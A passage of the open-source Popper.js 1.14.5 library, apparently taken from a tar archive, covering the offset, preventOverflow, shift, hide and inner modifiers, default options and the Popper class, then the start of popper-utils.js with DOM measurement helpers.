  }

  // If divider is found, we divide the list of values and operands to divide
  // them by ofset X and Y.
  const splitRegex = /\s*,\s*|\s+/;
  let ops = divider !== -1 ? [fragments.slice(0, divider).concat([fragments[divider].split(splitRegex)[0]]), [fragments[divider].split(splitRegex)[1]].concat(fragments.slice(divider + 1))] : [fragments];

  // Convert the values with units to absolute pixels to allow our computations
  ops = ops.map((op, index) => {
    // Most of the units rely on the orientation of the popper
    const measurement = (index === 1 ? !useHeight : useHeight) ? 'height' : 'width';
    let mergeWithPrevious = false;
    return op
    // This aggregates any `+` or `-` sign that aren't considered operators
    // e.g.: 10 + +5 => [10, +, +5]
    .reduce((a, b) => {
      if (a[a.length - 1] === '' && ['+', '-'].indexOf(b) !== -1) {
        a[a.length - 1] = b;
        mergeWithPrevious = true;
        return a;
      } else if (mergeWithPrevious) {
        a[a.length - 1] += b;
        mergeWithPrevious = false;
        return a;
      } else {
        return a.concat(b);
      }
    }, [])
    // Here we convert the string values into number values (in px)
    .map(str => toValue(str, measurement, popperOffsets, referenceOffsets));
  });

  // Loop trough the offsets arrays and execute the operations
  ops.forEach((op, index) => {
    op.forEach((frag, index2) => {
      if (isNumeric(frag)) {
        offsets[index] += frag * (op[index2 - 1] === '-' ? -1 : 1);
      }
    });
  });
  return offsets;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @argument {Number|String} options.offset=0
 * The offset value as described in the modifier description
 * @returns {Object} The data object, properly modified
 */
function offset(data, { offset }) {
  const { placement, offsets: { popper, reference } } = data;
  const basePlacement = placement.split('-')[0];

  let offsets;
  if (isNumeric(+offset)) {
    offsets = [+offset, 0];
  } else {
    offsets = parseOffset(offset, popper, reference, basePlacement);
  }

  if (basePlacement === 'left') {
    popper.top += offsets[0];
    popper.left -= offsets[1];
  } else if (basePlacement === 'right') {
    popper.top += offsets[0];
    popper.left += offsets[1];
  } else if (basePlacement === 'top') {
    popper.left += offsets[0];
    popper.top -= offsets[1];
  } else if (basePlacement === 'bottom') {
    popper.left += offsets[0];
    popper.top += offsets[1];
  }

  data.popper = popper;
  return data;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by `update` method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function preventOverflow(data, options) {
  let boundariesElement = options.boundariesElement || getOffsetParent(data.instance.popper);

  // If offsetParent is the reference element, we really want to
  // go one step up and use the next offsetParent as reference to
  // avoid to make this modifier completely useless and look like broken
  if (data.instance.reference === boundariesElement) {
    boundariesElement = getOffsetParent(boundariesElement);
  }

  // NOTE: DOM access here
  // resets the popper's position so that the document size can be calculated excluding
  // the size of the popper element itself
  const transformProp = getSupportedPropertyName('transform');
  const popperStyles = data.instance.popper.style; // assignment to help minification
  const { top, left, [transformProp]: transform } = popperStyles;
  popperStyles.top = '';
  popperStyles.left = '';
  popperStyles[transformProp] = '';

  const boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, boundariesElement, data.positionFixed);

  // NOTE: DOM access here
  // restores the original style properties after the offsets have been computed
  popperStyles.top = top;
  popperStyles.left = left;
  popperStyles[transformProp] = transform;

  options.boundaries = boundaries;

  const order = options.priority;
  let popper = data.offsets.popper;

  const check = {
    primary(placement) {
      let value = popper[placement];
      if (popper[placement] < boundaries[placement] && !options.escapeWithReference) {
        value = Math.max(popper[placement], boundaries[placement]);
      }
      return { [placement]: value };
    },
    secondary(placement) {
      const mainSide = placement === 'right' ? 'left' : 'top';
      let value = popper[mainSide];
      if (popper[placement] > boundaries[placement] && !options.escapeWithReference) {
        value = Math.min(popper[mainSide], boundaries[placement] - (placement === 'right' ? popper.width : popper.height));
      }
      return { [mainSide]: value };
    }
  };

  order.forEach(placement => {
    const side = ['left', 'top'].indexOf(placement) !== -1 ? 'primary' : 'secondary';
    popper = _extends({}, popper, check[side](placement));
  });

  data.offsets.popper = popper;

  return data;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by `update` method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function shift(data) {
  const placement = data.placement;
  const basePlacement = placement.split('-')[0];
  const shiftvariation = placement.split('-')[1];

  // if shift shiftvariation is specified, run the modifier
  if (shiftvariation) {
    const { reference, popper } = data.offsets;
    const isVertical = ['bottom', 'top'].indexOf(basePlacement) !== -1;
    const side = isVertical ? 'left' : 'top';
    const measurement = isVertical ? 'width' : 'height';

    const shiftOffsets = {
      start: { [side]: reference[side] },
      end: {
        [side]: reference[side] + reference[measurement] - popper[measurement]
      }
    };

    data.offsets.popper = _extends({}, popper, shiftOffsets[shiftvariation]);
  }

  return data;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function hide(data) {
  if (!isModifierRequired(data.instance.modifiers, 'hide', 'preventOverflow')) {
    return data;
  }

  const refRect = data.offsets.reference;
  const bound = find(data.instance.modifiers, modifier => modifier.name === 'preventOverflow').boundaries;

  if (refRect.bottom < bound.top || refRect.left > bound.right || refRect.top > bound.bottom || refRect.right < bound.left) {
    // Avoid unnecessary DOM access if visibility hasn't changed
    if (data.hide === true) {
      return data;
    }

    data.hide = true;
    data.attributes['x-out-of-boundaries'] = '';
  } else {
    // Avoid unnecessary DOM access if visibility hasn't changed
    if (data.hide === false) {
      return data;
    }

    data.hide = false;
    data.attributes['x-out-of-boundaries'] = false;
  }

  return data;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by `update` method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function inner(data) {
  const placement = data.placement;
  const basePlacement = placement.split('-')[0];
  const { popper, reference } = data.offsets;
  const isHoriz = ['left', 'right'].indexOf(basePlacement) !== -1;

  const subtractLength = ['top', 'left'].indexOf(basePlacement) === -1;

  popper[isHoriz ? 'left' : 'top'] = reference[basePlacement] - (subtractLength ? popper[isHoriz ? 'width' : 'height'] : 0);

  data.placement = getOppositePlacement(placement);
  data.offsets.popper = getClientRect(popper);

  return data;
}

/**
 * Modifier function, each modifier can have a function of this type assigned
 * to its `fn` property.<br />
 * These functions will be called on each update, this means that you must
 * make sure they are performant enough to avoid performance bottlenecks.
 *
 * @function ModifierFn
 * @argument {dataObject} data - The data object generated by `update` method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {dataObject} The data object, properly modified
 */

/**
 * Modifiers are plugins used to alter the behavior of your poppers.<br />
 * Popper.js uses a set of 9 modifiers to provide all the basic functionalities
 * needed by the library.
 *
 * Usually you don't want to override the `order`, `fn` and `onLoad` props.
 * All the other properties are configurations that could be tweaked.
 * @namespace modifiers
 */
var modifiers = {
  /**
   * Modifier used to shift the popper on the start or end of its reference
   * element.<br />
   * It will read the variation of the `placement` property.<br />
   * It can be one either `-end` or `-start`.
   * @memberof modifiers
   * @inner
   */
  shift: {
    /** @prop {number} order=100 - Index used to define the order of execution */
    order: 100,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: shift
  },

  /**
   * The `offset` modifier can shift your popper on both its axis.
   *
   * It accepts the following units:
   * - `px` or unit-less, interpreted as pixels
   * - `%` or `%r`, percentage relative to the length of the reference element
   * - `%p`, percentage relative to the length of the popper element
   * - `vw`, CSS viewport width unit
   * - `vh`, CSS viewport height unit
   *
   * For length is intended the main axis relative to the placement of the popper.<br />
   * This means that if the placement is `top` or `bottom`, the length will be the
   * `width`. In case of `left` or `right`, it will be the `height`.
   *
   * You can provide a single value (as `Number` or `String`), or a pair of values
   * as `String` divided by a comma or one (or more) white spaces.<br />
   * The latter is a deprecated method because it leads to confusion and will be
   * removed in v2.<br />
   * Additionally, it accepts additions and subtractions between different units.
   * Note that multiplications and divisions aren't supported.
   *
   * Valid examples are:
   * ```
   * 10
   * '10%'
   * '10, 10'
   * '10%, 10'
   * '10 + 10%'
   * '10 - 5vh + 3%'
   * '-10px + 5vh, 5px - 6%'
   * ```
   * > **NB**: If you desire to apply offsets to your poppers in a way that may make them overlap
   * > with their reference element, unfortunately, you will have to disable the `flip` modifier.
   * > You can read more on this at this [issue](https://github.com/FezVrasta/popper.js/issues/373).
   *
   * @memberof modifiers
   * @inner
   */
  offset: {
    /** @prop {number} order=200 - Index used to define the order of execution */
    order: 200,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: offset,
    /** @prop {Number|String} offset=0
     * The offset value as described in the modifier description
     */
    offset: 0
  },

  /**
   * Modifier used to prevent the popper from being positioned outside the boundary.
   *
   * A scenario exists where the reference itself is not within the boundaries.<br />
   * We can say it has "escaped the boundaries" — or just "escaped".<br />
   * In this case we need to decide whether the popper should either:
   *
   * - detach from the reference and remain "trapped" in the boundaries, or
   * - if it should ignore the boundary and "escape with its reference"
   *
   * When `escapeWithReference` is set to`true` and reference is completely
   * outside its boundaries, the popper will overflow (or completely leave)
   * the boundaries in order to remain attached to the edge of the reference.
   *
   * @memberof modifiers
   * @inner
   */
  preventOverflow: {
    /** @prop {number} order=300 - Index used to define the order of execution */
    order: 300,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: preventOverflow,
    /**
     * @prop {Array} [priority=['left','right','top','bottom']]
     * Popper will try to prevent overflow following these priorities by default,
     * then, it could overflow on the left and on top of the `boundariesElement`
     */
    priority: ['left', 'right', 'top', 'bottom'],
    /**
     * @prop {number} padding=5
     * Amount of pixel used to define a minimum distance between the boundaries
     * and the popper. This makes sure the popper always has a little padding
     * between the edges of its container
     */
    padding: 5,
    /**
     * @prop {String|HTMLElement} boundariesElement='scrollParent'
     * Boundaries used by the modifier. Can be `scrollParent`, `window`,
     * `viewport` or any DOM element.
     */
    boundariesElement: 'scrollParent'
  },

  /**
   * Modifier used to make sure the reference and its popper stay near each other
   * without leaving any gap between the two. Especially useful when the arrow is
   * enabled and you want to ensure that it points to its reference element.
   * It cares only about the first axis. You can still have poppers with margin
   * between the popper and its reference element.
   * @memberof modifiers
   * @inner
   */
  keepTogether: {
    /** @prop {number} order=400 - Index used to define the order of execution */
    order: 400,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: keepTogether
  },

  /**
   * This modifier is used to move the `arrowElement` of the popper to make
   * sure it is positioned between the reference element and its popper element.
   * It will read the outer size of the `arrowElement` node to detect how many
   * pixels of conjunction are needed.
   *
   * It has no effect if no `arrowElement` is provided.
   * @memberof modifiers
   * @inner
   */
  arrow: {
    /** @prop {number} order=500 - Index used to define the order of execution */
    order: 500,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: arrow,
    /** @prop {String|HTMLElement} element='[x-arrow]' - Selector or node used as arrow */
    element: '[x-arrow]'
  },

  /**
   * Modifier used to flip the popper's placement when it starts to overlap its
   * reference element.
   *
   * Requires the `preventOverflow` modifier before it in order to work.
   *
   * **NOTE:** this modifier will interrupt the current update cycle and will
   * restart it if it detects the need to flip the placement.
   * @memberof modifiers
   * @inner
   */
  flip: {
    /** @prop {number} order=600 - Index used to define the order of execution */
    order: 600,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: flip,
    /**
     * @prop {String|Array} behavior='flip'
     * The behavior used to change the popper's placement. It can be one of
     * `flip`, `clockwise`, `counterclockwise` or an array with a list of valid
     * placements (with optional variations)
     */
    behavior: 'flip',
    /**
     * @prop {number} padding=5
     * The popper will flip if it hits the edges of the `boundariesElement`
     */
    padding: 5,
    /**
     * @prop {String|HTMLElement} boundariesElement='viewport'
     * The element which will define the boundaries of the popper position.
     * The popper will never be placed outside of the defined boundaries
     * (except if `keepTogether` is enabled)
     */
    boundariesElement: 'viewport'
  },

  /**
   * Modifier used to make the popper flow toward the inner of the reference element.
   * By default, when this modifier is disabled, the popper will be placed outside
   * the reference element.
   * @memberof modifiers
   * @inner
   */
  inner: {
    /** @prop {number} order=700 - Index used to define the order of execution */
    order: 700,
    /** @prop {Boolean} enabled=false - Whether the modifier is enabled or not */
    enabled: false,
    /** @prop {ModifierFn} */
    fn: inner
  },

  /**
   * Modifier used to hide the popper when its reference element is outside of the
   * popper boundaries. It will set a `x-out-of-boundaries` attribute which can
   * be used to hide with a CSS selector the popper when its reference is
   * out of boundaries.
   *
   * Requires the `preventOverflow` modifier before it in order to work.
   * @memberof modifiers
   * @inner
   */
  hide: {
    /** @prop {number} order=800 - Index used to define the order of execution */
    order: 800,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: hide
  },

  /**
   * Computes the style that will be applied to the popper element to gets
   * properly positioned.
   *
   * Note that this modifier will not touch the DOM, it just prepares the styles
   * so that `applyStyle` modifier can apply it. This separation is useful
   * in case you need to replace `applyStyle` with a custom implementation.
   *
   * This modifier has `850` as `order` value to maintain backward compatibility
   * with previous versions of Popper.js. Expect the modifiers ordering method
   * to change in future major versions of the library.
   *
   * @memberof modifiers
   * @inner
   */
  computeStyle: {
    /** @prop {number} order=850 - Index used to define the order of execution */
    order: 850,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: computeStyle,
    /**
     * @prop {Boolean} gpuAcceleration=true
     * If true, it uses the CSS 3D transformation to position the popper.
     * Otherwise, it will use the `top` and `left` properties
     */
    gpuAcceleration: true,
    /**
     * @prop {string} [x='bottom']
     * Where to anchor the X axis (`bottom` or `top`). AKA X offset origin.
     * Change this if your popper should grow in a direction different from `bottom`
     */
    x: 'bottom',
    /**
     * @prop {string} [x='left']
     * Where to anchor the Y axis (`left` or `right`). AKA Y offset origin.
     * Change this if your popper should grow in a direction different from `right`
     */
    y: 'right'
  },

  /**
   * Applies the computed styles to the popper element.
   *
   * All the DOM manipulations are limited to this modifier. This is useful in case
   * you want to integrate Popper.js inside a framework or view library and you
   * want to delegate all the DOM manipulations to it.
   *
   * Note that if you disable this modifier, you must make sure the popper element
   * has its position set to `absolute` before Popper.js can do its work!
   *
   * Just disable this modifier and define your own to achieve the desired effect.
   *
   * @memberof modifiers
   * @inner
   */
  applyStyle: {
    /** @prop {number} order=900 - Index used to define the order of execution */
    order: 900,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: applyStyle,
    /** @prop {Function} */
    onLoad: applyStyleOnLoad,
    /**
     * @deprecated since version 1.10.0, the property moved to `computeStyle` modifier
     * @prop {Boolean} gpuAcceleration=true
     * If true, it uses the CSS 3D transformation to position the popper.
     * Otherwise, it will use the `top` and `left` properties
     */
    gpuAcceleration: undefined
  }
};

/**
 * The `dataObject` is an object containing all the information used by Popper.js.
 * This object is passed to modifiers and to the `onCreate` and `onUpdate` callbacks.
 * @name dataObject
 * @property {Object} data.instance The Popper.js instance
 * @property {String} data.placement Placement applied to popper
 * @property {String} data.originalPlacement Placement originally defined on init
 * @property {Boolean} data.flipped True if popper has been flipped by flip modifier
 * @property {Boolean} data.hide True if the reference element is out of boundaries, useful to know when to hide the popper
 * @property {HTMLElement} data.arrowElement Node used as arrow by arrow modifier
 * @property {Object} data.styles Any CSS property defined here will be applied to the popper. It expects the JavaScript nomenclature (eg. `marginBottom`)
 * @property {Object} data.arrowStyles Any CSS property defined here will be applied to the popper arrow. It expects the JavaScript nomenclature (eg. `marginBottom`)
 * @property {Object} data.boundaries Offsets of the popper boundaries
 * @property {Object} data.offsets The measurements of popper, reference and arrow elements
 * @property {Object} data.offsets.popper `top`, `left`, `width`, `height` values
 * @property {Object} data.offsets.reference `top`, `left`, `width`, `height` values
 * @property {Object} data.offsets.arrow] `top` and `left` offsets, only one of them will be different from 0
 */

/**
 * Default options provided to Popper.js constructor.<br />
 * These can be overridden using the `options` argument of Popper.js.<br />
 * To override an option, simply pass an object with the same
 * structure of the `options` object, as the 3rd argument. For example:
 * ```
 * new Popper(ref, pop, {
 *   modifiers: {
 *     preventOverflow: { enabled: false }
 *   }
 * })
 * ```
 * @type {Object}
 * @static
 * @memberof Popper
 */
var Defaults = {
  /**
   * Popper's placement.
   * @prop {Popper.placements} placement='bottom'
   */
  placement: 'bottom',

  /**
   * Set this to true if you want popper to position it self in 'fixed' mode
   * @prop {Boolean} positionFixed=false
   */
  positionFixed: false,

  /**
   * Whether events (resize, scroll) are initially enabled.
   * @prop {Boolean} eventsEnabled=true
   */
  eventsEnabled: true,

  /**
   * Set to true if you want to automatically remove the popper when
   * you call the `destroy` method.
   * @prop {Boolean} removeOnDestroy=false
   */
  removeOnDestroy: false,

  /**
   * Callback called when the popper is created.<br />
   * By default, it is set to no-op.<br />
   * Access Popper.js instance with `data.instance`.
   * @prop {onCreate}
   */
  onCreate: () => {},

  /**
   * Callback called when the popper is updated. This callback is not called
   * on the initialization/creation of the popper, but only on subsequent
   * updates.<br />
   * By default, it is set to no-op.<br />
   * Access Popper.js instance with `data.instance`.
   * @prop {onUpdate}
   */
  onUpdate: () => {},

  /**
   * List of modifiers used to modify the offsets before they are applied to the popper.
   * They provide most of the functionalities of Popper.js.
   * @prop {modifiers}
   */
  modifiers
};

/**
 * @callback onCreate
 * @param {dataObject} data
 */

/**
 * @callback onUpdate
 * @param {dataObject} data
 */

// Utils
// Methods
class Popper {
  /**
   * Creates a new Popper.js instance.
   * @class Popper
   * @param {HTMLElement|referenceObject} reference - The reference element used to position the popper
   * @param {HTMLElement} popper - The HTML element used as the popper
   * @param {Object} options - Your custom options to override the ones defined in [Defaults](#defaults)
   * @return {Object} instance - The generated Popper.js instance
   */
  constructor(reference, popper, options = {}) {
    this.scheduleUpdate = () => requestAnimationFrame(this.update);

    // make update() debounced, so that it only runs at most once-per-tick
    this.update = debounce(this.update.bind(this));

    // with {} we create a new object with the options inside it
    this.options = _extends({}, Popper.Defaults, options);

    // init state
    this.state = {
      isDestroyed: false,
      isCreated: false,
      scrollParents: []
    };

    // get reference and popper elements (allow jQuery wrappers)
    this.reference = reference && reference.jquery ? reference[0] : reference;
    this.popper = popper && popper.jquery ? popper[0] : popper;

    // Deep merge modifiers options
    this.options.modifiers = {};
    Object.keys(_extends({}, Popper.Defaults.modifiers, options.modifiers)).forEach(name => {
      this.options.modifiers[name] = _extends({}, Popper.Defaults.modifiers[name] || {}, options.modifiers ? options.modifiers[name] : {});
    });

    // Refactoring modifiers' list (Object => Array)
    this.modifiers = Object.keys(this.options.modifiers).map(name => _extends({
      name
    }, this.options.modifiers[name]))
    // sort the modifiers by order
    .sort((a, b) => a.order - b.order);

    // modifiers have the ability to execute arbitrary code when Popper.js get inited
    // such code is executed in the same order of its modifier
    // they could add new properties to their options configuration
    // BE AWARE: don't add options to `options.modifiers.name` but to `modifierOptions`!
    this.modifiers.forEach(modifierOptions => {
      if (modifierOptions.enabled && isFunction(modifierOptions.onLoad)) {
        modifierOptions.onLoad(this.reference, this.popper, this.options, modifierOptions, this.state);
      }
    });

    // fire the first update to position the popper in the right place
    this.update();

    const eventsEnabled = this.options.eventsEnabled;
    if (eventsEnabled) {
      // setup event listeners, they will take care of update the position in specific situations
      this.enableEventListeners();
    }

    this.state.eventsEnabled = eventsEnabled;
  }

  // We can't use class properties because they don't get listed in the
  // class prototype and break stuff like Sinon stubs
  update() {
    return update.call(this);
  }
  destroy() {
    return destroy.call(this);
  }
  enableEventListeners() {
    return enableEventListeners.call(this);
  }
  disableEventListeners() {
    return disableEventListeners.call(this);
  }

  /**
   * Schedules an update. It will run on the next UI update available.
   * @method scheduleUpdate
   * @memberof Popper
   */


  /**
   * Collection of utilities useful when writing custom modifiers.
   * Starting from version 1.7, this method is available only if you
   * include `popper-utils.js` before `popper.js`.
   *
   * **DEPRECATION**: This way to access PopperUtils is deprecated
   * and will be removed in v2! Use the PopperUtils module directly instead.
   * Due to the high instability of the methods contained in Utils, we can't
   * guarantee them to follow semver. Use them at your own risk!
   * @static
   * @private
   * @type {Object}
   * @deprecated since version 1.8
   * @member Utils
   * @memberof Popper
   */
}

/**
 * The `referenceObject` is an object that provides an interface compatible with Popper.js
 * and lets you use it as replacement of a real DOM node.<br />
 * You can use this method to position a popper relatively to a set of coordinates
 * in case you don't have a DOM node to use as reference.
 *
 * ```
 * new Popper(referenceObject, popperNode);
 * ```
 *
 * NB: This feature isn't supported in Internet Explorer 10.
 * @name referenceObject
 * @property {Function} data.getBoundingClientRect
 * A function that returns a set of coordinates compatible with the native `getBoundingClientRect` method.
 * @property {number} data.clientWidth
 * An ES6 getter that will return the width of the virtual reference element.
 * @property {number} data.clientHeight
 * An ES6 getter that will return the height of the virtual reference element.
 */

Popper.Utils = (typeof window !== 'undefined' ? window : global).PopperUtils;
Popper.placements = placements;
Popper.Defaults = Defaults;

export default Popper;
//# sourceMappingURL=popper.js.map
esm/popper-utils.js000064400000106457151677356750010374 0ustar00/**!
 * @fileOverview Kickass library to create and place poppers near their reference elements.
 * @version 1.14.5
 * @license
 * Copyright (c) 2016 Federico Zivolo and contributors
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 */
/**
 * Get CSS computed property of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Eement} element
 * @argument {String} property
 */
function getStyleComputedProperty(element, property) {
  if (element.nodeType !== 1) {
    return [];
  }
  // NOTE: 1 DOM access here
  var window = element.ownerDocument.defaultView;
  var css = window.getComputedStyle(element, null);
  return property ? css[property] : css;
}

/**
 * Returns the parentNode or the host of the element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} parent
 */
function getParentNode(element) {
  if (element.nodeName === 'HTML') {
    return element;
  }
  return element.parentNode || element.host;
}

/**
 * Returns the scrolling parent of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} scroll parent
 */
function getScrollParent(element) {
  // Return body, `getScroll` will take care to get the correct `scrollTop` from it
  if (!element) {
    return document.body;
  }

  switch (element.nodeName) {
    case 'HTML':
    case 'BODY':
      return element.ownerDocument.body;
    case '#document':
      return element.body;
  }

  // Firefox want us to check `-x` and `-y` variations as well

  var _getStyleComputedProp = getStyleComputedProperty(element),
      overflow = _getStyleComputedProp.overflow,
      overflowX = _getStyleComputedProp.overflowX,
      overflowY = _getStyleComputedProp.overflowY;

  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {
    return element;
  }

  return getScrollParent(getParentNode(element));
}

var isBrowser = typeof window !== 'undefined' && typeof document !== 'undefined';

var isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);
var isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);

/**
 * Determines if the browser is Internet Explorer
 * @method
 * @memberof Popper.Utils
 * @param {Number} version to check
 * @returns {Boolean} isIE
 */
function isIE(version) {
  if (version === 11) {
    return isIE11;
  }
  if (version === 10) {
    return isIE10;
  }
  return isIE11 || isIE10;
}

/**
 * Returns the offset parent of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} offset parent
 */
function getOffsetParent(element) {
  if (!element) {
    return document.documentElement;
  }

  var noOffsetParent = isIE(10) ? document.body : null;

  // NOTE: 1 DOM access here
  var offsetParent = element.offsetParent || null;
  // Skip hidden elements which don't have an offsetParent
  while (offsetParent === noOffsetParent && element.nextElementSibling) {
    offsetParent = (element = element.nextElementSibling).offsetParent;
  }

  var nodeName = offsetParent && offsetParent.nodeName;

  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {
    return element ? element.ownerDocument.documentElement : document.documentElement;
  }

  // .offsetParent will return the closest TH, TD or TABLE in case
  // no offsetParent is present, I hate this job...
  if (['TH', 'TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 && getStyleComputedProperty(offsetParent, 'position') === 'static') {
    return getOffsetParent(offsetParent);
  }

  return offsetParent;
}

function isOffsetContainer(element) {
  var nodeName = element.nodeName;

  if (nodeName === 'BODY') {
    return false;
  }
  return nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element;
}

/**
 * Finds the root node (document, shadowDOM root) of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} node
 * @returns {Element} root node
 */
function getRoot(node) {
  if (node.parentNode !== null) {
    return getRoot(node.parentNode);
  }

  return node;
}

/**
 * Finds the offset parent common to the two provided nodes
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element1
 * @argument {Element} element2
 * @returns {Element} common offset parent
 */
function findCommonOffsetParent(element1, element2) {
  // This check is needed to avoid errors in case one of the elements isn't defined for any reason
  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {
    return document.documentElement;
  }

  // Here we make sure to give as "start" the element that comes first in the DOM
  var order = element1.compareDocumentPosition(element2) & Node.DOCUMENT_POSITION_FOLLOWING;
  var start = order ? element1 : element2;
  var end = order ? element2 : element1;

  // Get common ancestor container
  var range = document.createRange();
  range.setStart(start, 0);
  range.setEnd(end, 0);
  var commonAncestorContainer = range.commonAncestorContainer;

  // Both nodes are inside #document

  if (element1 !== commonAncestorContainer && element2 !== commonAncestorContainer || start.contains(end)) {
    if (isOffsetContainer(commonAncestorContainer)) {
      return commonAncestorContainer;
    }

    return getOffsetParent(commonAncestorContainer);
  }

  // one of the nodes is inside shadowDOM, find which one
  var element1root = getRoot(element1);
  if (element1root.host) {
    return findCommonOffsetParent(element1root.host, element2);
  } else {
    return findCommonOffsetParent(element1, getRoot(element2).host);
  }
}

/**
 * Gets the scroll value of the given element in the given side (top and left)
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @argument {String} side `top` or `left`
 * @returns {number} amount of scrolled pixels
 */
function getScroll(element) {
  var side = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'top';

  var upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';
  var nodeName = element.nodeName;

  if (nodeName === 'BODY' || nodeName === 'HTML') {
    var html = element.ownerDocument.documentElement;
    var scrollingElement = element.ownerDocument.scrollingElement || html;
    return scrollingElement[upperSide];
  }

  return element[upperSide];
}

/*
 * Sum or subtract the element scroll values (left and top) from a given rect object
 * @method
 * @memberof Popper.Utils
 * @param {Object} rect - Rect object you want to change
 * @param {HTMLElement} element - The element from the function reads the scroll values
 * @param {Boolean} subtract - set to true if you want to subtract the scroll values
 * @return {Object} rect - The modifier rect object
 */
function includeScroll(rect, element) {
  var subtract = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;

  var scrollTop = getScroll(element, 'top');
  var scrollLeft = getScroll(element, 'left');
  var modifier = subtract ? -1 : 1;
  rect.top += scrollTop * modifier;
  rect.bottom += scrollTop * modifier;
  rect.left += scrollLeft * modifier;
  rect.right += scrollLeft * modifier;
  return rect;
}

/*
 * Helper to detect borders of a given element
 * @method
 * @memberof Popper.Utils
 * @param {CSSStyleDeclaration} styles
 * Result of `getStyleComputedProperty` on the given element
 * @param {String} axis - `x` or `y`
 * @return {number} borders - The borders size of the given axis
 */

function getBordersSize(styles, axis) {
  var sideA = axis === 'x' ? 'Left' : 'Top';
  var sideB = sideA === 'Left' ? 'Right' : 'Bottom';

  return parseFloat(styles['border' + sideA + 'Width'], 10) + parseFloat(styles['border' + sideB + 'Width'], 10);
}

function getSize(axis, body, html, computedStyle) {
  return Math.max(body['offset' + axis], body['scroll' + axis], html['client' + axis], html['offset' + axis], html['scroll' + axis], isIE(10) ? parseInt(html['offset' + axis]) + parseInt(computedStyle['margin' + (axis === 'Height' ? 'Top' : 'Left')]) + parseInt(computedStyle['margin' + (axis === 'Height' ? 'Bottom' : 'Right')]) : 0);
}

function getWindowSizes(document) {
  var body = document.body;
  var html = document.documentElement;
  var computedStyle = isIE(10) && getComputedStyle(html);

  return {
    height: getSize('Height', body, html, computedStyle),
    width: getSize('Width', body, html, computedStyle)
  };
}

var _extends = Object.assign || function (target) {
  for (var i = 1; i < arguments.length; i++) {
    var source = arguments[i];

    for (var key in source) {
      if (Object.prototype.hasOwnProperty.call(source, key)) {
        target[key] = source[key];
      }
    }
  }

  return target;
};

/**
 * Given element offsets, generate an output similar to getBoundingClientRect
 * @method
 * @memberof Popper.Utils
 * @argument {Object} offsets
 * @returns {Object} ClientRect like output
 */
function getClientRect(offsets) {
  return _extends({}, offsets, {
    right: offsets.left + offsets.width,
    bottom: offsets.top + offsets.height
  });
}

/**
 * Get bounding client rect of given element
 * @method
 * @memberof Popper.Utils
 * @param {HTMLElement} element
 * @return {Object} client rect
 */
function getBoundingClientRect(element) {
  var rect = {};

  // IE10 10 FIX: Please, don't ask, the element isn't
